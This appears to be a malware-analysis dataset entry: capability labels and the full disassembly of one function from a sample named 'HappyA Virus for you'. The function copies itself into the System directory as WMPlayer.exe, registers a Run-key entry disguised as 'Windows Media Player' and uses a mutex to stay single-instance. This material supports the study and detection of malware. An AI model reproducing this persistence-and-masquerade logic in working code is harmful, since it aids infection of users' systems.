Function at 0x402713
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x80]
mov edx, 0x104
lea rcx, [0x00436440]
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call rax
lea rdx, [0x00436440]
lea rcx, [0x00436300]
call sym.strcpy
lea rax, [0x00436300]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [0x00436300]
add rax, rdx
movabs rdi, 0x65726f6c7078655c
mov qword [rax], rdi
mov dword [rax + 8], 0x78652e72
mov word [rax + 0xc], 0x65
mov edx, 0x104
lea rcx, [0x004361c0]
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [0x004361c0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [0x004361c0]
add rax, rdx
movabs rdi, 0x6579616c504d575c
mov qword [rax], rdi
mov dword [rax + 8], 0x78652e72
mov word [rax + 0xc], 0x65
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x438]
mov r8d, 0x104
lea rdx, [0x00436080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x2e0]
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x430], rax
mov eax, dword [rbp + 0x300]
mov dword [0x00436684], eax
lea rax, [rbp - 0x50]
mov r8d, 0xa
lea rdx, [0x00436083]
mov rcx, rax
call sym.strncpy
mov byte [rbp - 0x46], 0
lea rax, [rbp + 0xc0]
mov r8d, 2
lea rdx, [0x00436080]
mov rcx, rax
call sym.strncpy
mov byte [rbp + 0xc2], 0
lea rax, [rbp - 0x50]
lea rdx, str.HappyA.exe
mov rcx, rax
call sym.stricmp
test eax, eax
sete al
test al, al
je 0x402929
lea rax, [rbp + 0x1d0]
lea rdx, [0x00436300]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x1d0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x1d0]
add rax, rdx
mov word [rax], 0x20
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x1d0]
mov edx, 0xa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea r8, str.HappyA_Virus_for_you
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp + 0x428], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x40296d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rdx, [0x004361c0]
lea rcx, [0x00436080]
call sym.stricmp
test eax, eax
setne al
test al, al
je 0x402a15
mov r8d, 0
lea rdx, [0x004361c0]
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x420]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov edx, 0x104
mov rax, qword [rbp + 0x420]
mov dword [rsp + 0x28], edx
lea rdx, [0x004361c0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Windows_Media_Player
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
nop
add rsp, 0x4c8
pop rdi
pop rbp
ret